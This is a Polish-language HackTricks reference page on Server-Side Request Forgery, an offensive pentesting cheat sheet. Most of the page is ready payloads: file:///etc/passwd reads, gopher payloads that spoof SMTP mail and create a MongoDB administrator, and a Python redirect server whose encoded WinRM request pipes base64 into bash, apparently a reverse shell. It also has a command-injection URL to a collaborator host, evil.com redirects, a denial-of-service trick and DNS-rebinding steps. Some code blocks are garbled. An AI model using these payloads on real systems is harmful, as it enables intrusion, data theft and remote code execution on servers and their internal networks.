SSRF (Server Side Request Forgery)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Wrażliwość Server-side Request Forgery (SSRF) występuje, gdy atakujący manipuluje server-side application, by skłonić ją do wykonywania HTTP requests do domeny wybranej przez atakującego. Ta luka naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.

Przechwytywanie SSRF

Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez Ciebie. Aby przechwycić HTTP lub DNS interaction możesz użyć narzędzi takich jak:

Omijanie domen z białej listy

Zazwyczaj odkryjesz, że SSRF działa tylko dla niektórych domen umieszczonych na białej liście lub określonych URL. Na poniższej stronie znajdziesz kompilację technik, które warto wypróbować, aby obejść tę białą listę:

URL Format Bypass

Bypass via open redirect

Jeśli serwer jest prawidłowo zabezpieczony, możesz obejść wszystkie ograniczenia, wykorzystując Open Redirect znajdujący się na stronie. Ponieważ strona może zezwalać na SSRF do tej samej domeny i prawdopodobnie będzie follow redirects, możesz wykorzystać Open Redirect, aby zmusić serwer do dostępu do dowolnego zasobu wewnętrznego.
Czytaj więcej tutaj: https://portswigger.net/web-security/ssrf

Protokoły

  • file://
  • Schemat URL file:// jest wspomniany, wskazując bezpośrednio na /etc/passwd: file:///etc/passwd
  • dict://
  • Schemat URL DICT jest opisany jako używany do uzyskiwania definicji lub list słów przez protokół DICT. Przykład ilustruje skonstruowany URL celujący w określone słowo, bazę danych i numer wpisu, a także przypadek, gdy skrypt PHP może być niewłaściwie wykorzystany do połączenia z serwerem DICT przy użyciu poświadczeń dostarczonych przez atakującego: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Wskazano ten protokół jako sposób bezpiecznego transferu plików przez secure shell; przykład pokazuje, jak skrypt PHP może zostać wykorzystany do połączenia z złośliwym serwerem SFTP: url=sftp://generic.com:11111/
  • TFTP://
  • Trivial File Transfer Protocol, działający przez UDP, jest wspomniany z przykładem skryptu PHP wysyłającego żądanie do serwera TFTP. Żądanie TFTP jest wysyłane do ‘generic.com’ na porcie ‘12346’ o plik ‘TESTUDPPACKET’: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ten fragment omawia Lightweight Directory Access Protocol, podkreślając jego użycie do zarządzania i dostępu do rozproszonych usług katalogowych przez sieci IP. Interakcja z serwerem LDAP na localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisano metodę wykorzystania SSRF do interakcji z usługami SMTP na localhost, włączając kroki ujawniania wewnętrznych nazw domen i dalsze działania śledcze w oparciu o te informacje.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Jeśli SSRF jest wykonywane przez curl, curl ma funkcję nazwaną URL globbing, która może być przydatna do bypass WAFs. Na przykład w tym writeup znajdziesz ten przykład dla path traversal via file protocol:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Omówiono zdolność protokołu Gopher do określania IP, portu i bajtów dla komunikacji z serwerem, a także narzędzia takie jak Gopherus i remote-method-guesser do tworzenia payloads. Przedstawiono dwa różne zastosowania:

Gopher://

Używając tego protokołu możesz określić IP, port i bajty które chcesz, aby serwer wysłał. W praktyce możesz wykorzystać SSRF, aby komunikować się z dowolnym serwerem TCP (ale najpierw musisz wiedzieć, jak porozumieć się z usługą).
Na szczęście możesz użyć Gopherus do tworzenia payloads dla kilku usług. Dodatkowo remote-method-guesser może być użyty do tworzenia gopher payloads dla usług Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Połączenie zwrotne do 1337

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – Utwórz użytkownika username=admin z password=admin123 i permission=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF przez Referrer header i inne

Oprogramowanie analityczne na serwerach często loguje nagłówek Referrer, aby śledzić linki przychodzące — praktyka ta niezamierzenie naraża aplikacje na podatności Server-Side Request Forgery (SSRF). Dzieje się tak, ponieważ takie oprogramowanie może odwiedzać zewnętrzne URL-e wymienione w nagłówku Referrer, aby analizować zawartość stron odsyłających. Aby wykryć te podatności, zaleca się użycie wtyczki Burp Suite “Collaborator Everywhere”, wykorzystującej sposób, w jaki narzędzia analityczne przetwarzają nagłówek Referer do identyfikacji potencjalnych powierzchni ataku SSRF.

SSRF przez dane SNI z certyfikatu

Przykładowa konfiguracja Nginx ilustruje nieprawidłowe ustawienie, które może umożliwić połączenie z dowolnym backendem przy prostym ustawieniu:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio używana jako adres backendu. Takie ustawienie ujawnia podatność na Server-Side Request Forgery (SSRF), którą można wykorzystać, po prostu podając w polu SNI żądany adres IP lub nazwę domeny. Poniżej znajduje się przykład wykorzystania, który zmusza połączenie do dowolnego backendu, takiego jak internal.host.com, z użyciem polecenia openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF przez TLS AIA CA Issuers (Java mTLS)

Niektóre stosy TLS będą automatycznie pobierać brakujące pośrednie CA używając Authority Information Access (AIA) → CA Issuers URI znajdującego się w certyfikacie peer. W Java, włączenie -Dcom.sun.security.enableAIAcaIssuers=true podczas uruchamiania usługi mTLS powoduje, że serwer dereferencjonuje URI kontrolowane przez atakującego z certyfikatu klienta podczas handshake, zanim uruchomi się jakakolwiek logika HTTP.

  • Wymagania: mTLS włączone, pobieranie AIA w Java włączone, atakujący może przedstawić cert klienta ze spreparowanym AIA CA Issuers URI.
  • Wywołanie SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

Wyjście debug certpath w Java pokazuje CertStore URI:http://localhost:8080, a nc przechwytuje żądanie HTTP z kontrolowalnym User-Agent z -Dhttp.agent, dowodząc SSRF podczas walidacji certyfikatu.

  • DoS via file://: ustawienie AIA CA Issuers na file:///dev/urandom na systemach typu Unix sprawia, że Java traktuje to jako CertStore i czyta nieograniczoną ilość losowych bajtów, zajmując rdzeń CPU i blokując kolejne połączenia nawet po rozłączeniu klienta.

SSRF przez CSS Pre-Processors

LESS jest popularnym CSS pre-procesorem, który dodaje zmienne, mixiny, funkcje oraz potężną dyrektywę @import. Podczas kompilacji silnik LESS będzie pobierać zasoby odwołane w instrukcjach @import i wstawiać (“inline”) ich zawartość do wynikowego CSS, gdy użyta jest opcja (inline).

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF z Command Injection

It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderowanie PDF

Jeśli strona web automatycznie tworzy PDF zawierający informacje, które podałeś, możesz wstawić trochę JS, który zostanie wykonany przez generator PDF (serwer) podczas tworzenia PDF i będziesz mógł wykorzystać SSRF. Find more information here.

Z SSRF do DoS

Utwórz kilka sesji i spróbuj pobrać ciężkie pliki, wykorzystując SSRF z tych sesji.

Funkcje PHP związane z SSRF

Sprawdź następującą stronę pod kątem podatnych funkcji PHP, a nawet Wordpress:

PHP SSRF

SSRF Przekierowanie do Gopher

Do niektórych eksploatacji możesz potrzebować wysłać odpowiedź przekierowującą (potencjalnie aby użyć innego protokołu jak gopher). Poniżej masz różne kawałki kodu python, aby odpowiedzieć przekierowaniem:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Błędnie skonfigurowane proxy prowadzące do SSRF

Sztuczki from this post.

Flask

Kod proxy Flask podatny na atak ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flask pozwala użyć **`@`** jako znaku początkowego, co pozwala zamienić **początkową nazwę hosta w nazwę użytkownika** i wstrzyknąć nową. Żądanie ataku:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Kod podatny:

Odkryto, że możliwe jest rozpoczęcie ścieżki żądania znakiem ;, co pozwala następnie użyć @ i wstrzyknąć nowy host do uzyskania dostępu. Żądanie ataku:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Wbudowany serwer WWW PHP

Wrażliwy kod PHP ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP pozwala na użycie **znaku `*` przed ukośnikiem w ścieżce** URL, jednak ma inne ograniczenia, np. można go używać tylko dla głównej ścieżki `/` oraz kropki `.` nie są dozwolone przed pierwszym ukośnikiem, więc trzeba użyć np. adresu IP zakodowanego w hex bez kropek:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

Reverse proxies that accept absolute URLs in the request line (open forward-proxy)

Niektóre reverse proxies akceptują też absolute-form request lines (GET http://10.0.0.5:8080/path HTTP/1.1) i przekazują URL bez zmian do backendu zamiast odrzucać go lub przepisywać na skonfigurowany upstream. To zamienia reverse proxy w pre-auth forward proxy with full-read SSRF, umożliwiając dostęp do usług dostępnych tylko na localhost, które normalnie byłyby niedostępne z Internetu.

Key points:

  • Request line controls destination: authority w absolutnym URL nadpisuje normalne routowanie; nagłówek Host jest zwykle ignorowany.
  • Full response returned: odpowiedzi od hostów wewnętrznych są strumieniowane z powrotem, więc możesz je enumerować i wchodzić w interakcję (np. SOAP/Axis2, Keycloak, admin consoles) zamiast ślepo sondować.
  • Works on localhost: GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n wystarczy, aby trafić do nasłuchów dostępnych tylko na loopbacku.
  • Abuse as pivot: połącz z innymi vulns (np. upload endpoints), aby dotrzeć do usług wewnątrz hosta.

Minimal probe:

GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close

Jeśli zobaczysz odpowiedź upstream zamiast 400, urządzenie działa jako open proxy.

DNS Rebidding CORS/SOP bypass

Jeśli masz problemy z eksfiltracją treści z lokalnego adresu IP z powodu CORS/SOP, DNS Rebidding może zostać użyte do obejścia tego ograniczenia:

CORS - Misconfigurations & Bypass

Automated DNS Rebidding

Singularity of Origin to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do zrebindowania adresu IP nazwy DNS serwera atakującego na adres IP maszyny docelowej oraz do serwowania payloadów ataku, aby wykorzystać podatne oprogramowanie na maszynie docelowej.

Sprawdź także publicznie działający serwer pod adresem http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Requirements:

  • SSRF
  • Outbound TLS sessions
  • Stuff on local ports

Attack:

  1. Poproś użytkownika/bota o dostęp do domeny kontrolowanej przez atakującego
  2. TTL rekordu DNS wynosi 0 s (więc ofiara wkrótce ponownie sprawdzi IP domeny)
  3. Między ofiarą a domeną atakującego nawiązywane jest połączenie TLS. Atakujący wprowadza payload wewnątrz Session ID lub Session Ticket.
  4. Domena rozpocznie nieskończoną pętlę przekierowań względem samej siebie. Celem tego jest zmuszenie użytkownika/bota do dostępu do domeny aż do momentu, gdy wykona ponownie zapytanie DNS o domenę.
  5. W odpowiedzi DNS zostanie teraz zwrócony adres prywatny (np. 127.0.0.1)
  6. Użytkownik/bot spróbuje ponownie nawiązać połączenie TLS i w tym celu wyśle Session ID/Ticket ID (w którym zawarty był payload atakującego). Gratulacje — udało Ci się sprawić, że użytkownik/bot zaatakował samego siebie.

Zwróć uwagę, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (memcache) musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.attacker.com:11211 (port musi zawsze być taki sam).
Do wykonania tego ataku możesz użyć narzędzia: https://github.com/jmdx/TLS-poison/
Po więcej informacji zobacz prezentację, w której ten atak jest wyjaśniony: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Różnica między blind SSRF a nie-blind polega na tym, że w blind nie widzisz odpowiedzi na żądanie SSRF. W związku z tym trudniej go wykorzystać, ponieważ można eksploatować tylko dobrze znane podatności.

Time based SSRF

Sprawdzając czas odpowiedzi servera, może być możliwe ustalenie, czy zasób istnieje (dostęp do istniejącego zasobu może zająć więcej czasu niż do nieistniejącego).

From blid to full abusing status codes

Zgodnie z tym postem na blogu, niektóre blind SSRF mogą wystąpić, ponieważ nawet jeśli docelowy URL odpowiada kodem 200 (np. metadata AWS), te dane nie są poprawnie sformatowane i aplikacja może odmówić ich wyświetlenia.

Jednak stwierdzono, że wysyłając odpowiedzi z przekierowaniami od 305 do 309 w ramach SSRF, możliwe jest spowodowanie, że aplikacja będzie podążać za tymi przekierowaniami, wchodząc w tryb błędu, który przestaje sprawdzać format danych i może je po prostu wydrukować.

Serwer w Pythonie używany do eksploatacji tego wygląda następująco:

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Kroki:

  • Najpierw 302 powoduje, że aplikacja zaczyna podążać.
  • Następnie otrzymuje 305 → 306 → 307 → 308 → 309 → 310.
  • Po piątym dziwnym kodzie PoC w końcu zwraca 302 → 169.254.169.254 → 200 OK.

Co się dzieje wewnątrz celu:

  • libcurl sam w sobie podąża za 305–310; po prostu normalizuje nieznane kody do „follow”.
  • Po N dziwnych przekierowaniach (tu ≥ 5) własny wrapper aplikacji decyduje, że „coś jest nie tak” i przełącza się w tryb błędu przeznaczony do debugowania.
  • W tym trybie zrzuca cały łańcuch przekierowań oraz końcowe body z powrotem do zewnętrznego klienta.
  • Wynik: atakujący widzi wszystkie nagłówki + metadane JSON, cel osiągnięty.

Zauważ, że to ciekawy sposób na leak status codes, których wcześniej nie można było leak (np. 200). Jednak jeśli w jakiś sposób mógłbyś również wybrać status code odpowiedzi (wyobraź sobie, że możesz spowodować, że AWS metadata odpowie kodem 500), mogą istnieć status codes, które bezpośrednio leakują zawartość odpowiedzi.

Renderery HTML-to-PDF jako blind SSRF gadgets

Biblioteki takie jak TCPDF (oraz wrappery jak spipu/html2pdf) automatycznie pobierają wszystkie URL-e obecne w HTML kontrolowanym przez atakującego podczas renderowania PDF. Każdy atrybut <img> lub <link rel="stylesheet"> jest rozwiązywany po stronie serwera za pomocą cURL, getimagesize(), lub file_get_contents(), więc możesz nakłonić proces tworzenia PDF do sondowania hostów wewnętrznych, nawet jeśli żadna odpowiedź HTTP nie jest do Ciebie zwracana.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 wykonuje kilka prób pobrania dla każdego zasobu <img>, więc pojedynczy payload może wygenerować wiele żądań (helpful for timing-based port scans).
  • html2pdf kopiuje zachowanie TCPDF dla <img> i dodaje pobieranie CSS w Css::extractStyle(), które po płytkiej weryfikacji schemy po prostu wywołuje file_get_contents($href). Wykorzystaj to, aby dotrzeć do loopback services, zakresów RFC1918 lub cloud metadata endpoints.
  • Połącz tę prymitywną metodę SSRF z HTML-to-PDF path traversal tricks, aby leak both internal HTTP responses and local files rendered into the PDF.

Osoby zajmujące się hardeningiem powinny usuwać zewnętrzne URL-e przed renderowaniem lub izolować silnik renderujący w sandboxie sieciowym; do tego czasu traktuj PDF generators jako blind SSRF proxies.

Eksploatacja SSRF w chmurze

Jeśli znajdziesz podatność SSRF na maszynie działającej w środowisku chmurowym, możesz być w stanie uzyskać interesujące informacje o środowisku chmurowym, a nawet poświadczenia:

Cloud SSRF

Platformy podatne na SSRF

Kilka znanych platform zawiera lub zawierało podatności SSRF — sprawdź je w:

SSRF Vulnerable Platforms

Narzędzia

SSRFMap

Narzędzie do wykrywania i wykorzystywania podatności SSRF

Gopherus

To narzędzie generuje Gopher payloady dla:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser jest skanerem podatności Java RMI, który wspiera operacje ataku dla większości powszechnych podatności Java RMI. Większość dostępnych operacji obsługuje opcję --ssrf, aby wygenerować SSRF payload dla żądanej operacji. Wraz z opcją --gopher można bezpośrednio wygenerować gotowe payloady gopher.

SSRF Proxy

SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruchu HTTP klienta przez serwery HTTP podatne na Server-Side Request Forgery (SSRF).

Do ćwiczeń

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack \xc2\xb7 GitHub

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks